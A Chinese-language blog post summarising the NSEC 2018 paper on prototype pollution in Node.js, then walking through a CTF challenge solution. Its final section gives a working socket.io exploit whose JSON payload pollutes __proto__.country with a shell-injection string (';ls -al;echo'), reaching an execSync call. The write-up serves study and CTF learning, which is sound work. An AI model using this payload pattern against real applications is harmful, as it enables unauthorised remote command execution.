sky's blog

Paper Summary & Prototype pollution attack in NodeJS application

字数统计: 1,876阅读时长: 9 min
2019/12/06 Share

前言

本篇paper来自于 NSEC 2018 :Prototype pollution attack in NodeJS application,写summary的原因因为本篇文章介绍的攻击点和实际问题密切相关,同时在CTF各大比赛中经常出现。

背景知识

为了介绍什么是原型链污染漏洞,我们得先有一些前置知识,首先观察一段代码:

1
2
3
4
5
6
7
8
9
a={};
a.__proto__.test2 = '456';

b={};
console.log(a.test2);
console.log(b.test2);
b.__proto__.test2 = '789';
console.log(a.test2);
console.log(b.test2);

我们定义一个a对象,并对其进行赋值:

1
a.__proto__.test2 = '456';

我们再定义一个b对象,但此时发现,如果我们输出:

1
2
console.log(a.test2);
console.log(b.test2);

此时得到的结果是:

1
2
456
456

那么为什么b对象会有test2这个属性的value呢?

这是因为我们有等价关系:

1
a.__proto__ == Object.prototype

那么此时,如果我们调用b.test2,其因为获取不到,就会往父类中查找,因此找到了Object.prototype.test2。
因此我们调用b.test2,可以获取到456这个值。
我们再看一个简单的例子:

我们构造了类的继承关系:
在使用a.testA的时候:
1.在testC类里查找testA属性
2.在testC的父类里查找testA属性
3.在testC的”爷”类里查找testA属性
故此可以正常调用到testA属性。
对于testB、testC属性也是同理。

原型链污染漏洞

为了了解原型链污染漏洞,我们看如下代码:

假设我们控制evil.proto,那就等同于可以修改testClass类的prototype,那么即可篡改SecClass中的url属性值。
那么在后续所有调用该属性的位置,都会产生相应的影响。

漏洞评估

作者的数据集定于npm的所有库,但是由于代码量巨大,传统的静态分析并不适用,于是作者使用了动态测试方法,对受影响的库进行验证:

  • 使用npm安装需要测试的库
  • 将库引入文件
  • 递归列举库中所有可调用的函数
  • 对于每一个函数
    • 对于每一个函数进行原型链污染测试input
    • 检验是否产生影响,若产生,则标注漏洞点,并清除影响
      代码已开源在github:
      1
      https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/find-vuln/find-vuln.js

简单分析代码可知,作者首先申明了一个对象,对象中有属性名为:proto
如果经过库中函数处理,该属性成为原型,那么说明出现了原型链污染问题:
作者列举了多种pattern:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
var pattern = [{
fnct : function (totest) {
totest(BAD_JSON);
},
sig: "function (BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, {});
},
sig: "function (BAD_JSON, {})"
},{
fnct : function (totest) {
totest({}, BAD_JSON);
},
sig: "function ({}, BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, BAD_JSON);
},
sig: "function (BAD_JSON, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, BAD_JSON);
},
sig: "function ({}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, {}, BAD_JSON);
},
sig: "function ({}, {}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, "__proto__.test", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__[test]", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__.test", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__[test]", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__", "test", "123");
},
sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"
},{
fnct : function (totest) {
totest("__proto__", "test", "123");
},
sig: "function (BAD_STRING, BAD_STRING, VALUE)"
}]

然后对一个库中所有函数进行测试,再进行检测:

1
2
3
4
5
6
7
function check() {
if ({}.test == "123" || {}.test == 123) {
delete Object.prototype.test;
return true;
}
return false;
}

作者经过测试,得到了许多受原型链污染影响的库:

其中不乏我们经常在ctf中遇到的lodash……

而后,作者选取了几个典例进行分析。

拒绝服务攻击

例如代码中的第12行,存在漏洞点,其使用了lodash的merge,导致我们可以污染req对象,由于返回结果依赖于这个对象。那么如果攻击者input如下exp,每一条请求都将返回500:

For-loop污染

例如如下代码,我们可以进行原型污染,这样commands在下一次遍历时,就会遍历到我们加入的恶意值,进行任意命令执行。

Property injection

由于NodeJS的http模块拥有多个同名header,我们可以对cookie进行污染,那么request.headers.cookie将变为我们的污染值,那么每一个访问者都会共享同一个cookie:

CTF中的应用

看完了作者介绍的原型链污染攻击,我们来看一下其在CTF中的简单应用。
题目: https://chat.dctfq18.def.camp
源码:https://dctf.def.camp/dctf-18-quals-81249812/chat.zip
我们下载源码后,首先审计服务端代码:
看到在help.js中有如下高危代码:

1
2
3
4
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}

如果我们可控message,那么即可进行rce,例如:

于是在server.js中寻找调用点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);

sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
try {
client .join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});

可以发现在join和leave用相应的调用:

1
2
3
4
5
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);

sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))

那么如果可控u和c,那么即可进行命令拼接,而u对于name,c对应country,对于name参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}

var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];

if(block.indexOf(key) !== -1) {
return false;
}
}

var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}

return true;
}

我们发现我们被进行了大量过滤,很难直接进行任意命令执行,于是我们开始思考如何改变country的值,那么便容易想到使用原型链污染,在父类对象中加入country属性的值,进行污染。
那么我们可以从register进行输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))

if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}

var keys = Object.keys(defaultSettings);
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}

if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}

clientManager.registerClient(client, newUser)
return sendMessageToClient(client,"Server",
newUser.name + ' registered')
} catch(e) { console.log(e); client.disconnect() }
});

我们发现存在原型链污染漏洞点:

1
newUser = helper.clone(JSON.parse(inUser))

我们可以利用这里的clone,进行污染,达成目的。
构造如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const io = require('socket.io-client')
const socket = io.connect('0.0.0.0:10000')

socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})

socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.emit('register', `{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}`);
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', 'xxx');

后记

Prototype pollution attack还是一个比较有趣的攻击点,下次可以结合一些题目和CVE再做一些深入的了解。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 背景知识
  3. 3. 原型链污染漏洞
  4. 4. 漏洞评估
    1. 4.1. 拒绝服务攻击
    2. 4.2. For-loop污染
    3. 4.3. Property injection
  5. 5. CTF中的应用
  6. 6. 后记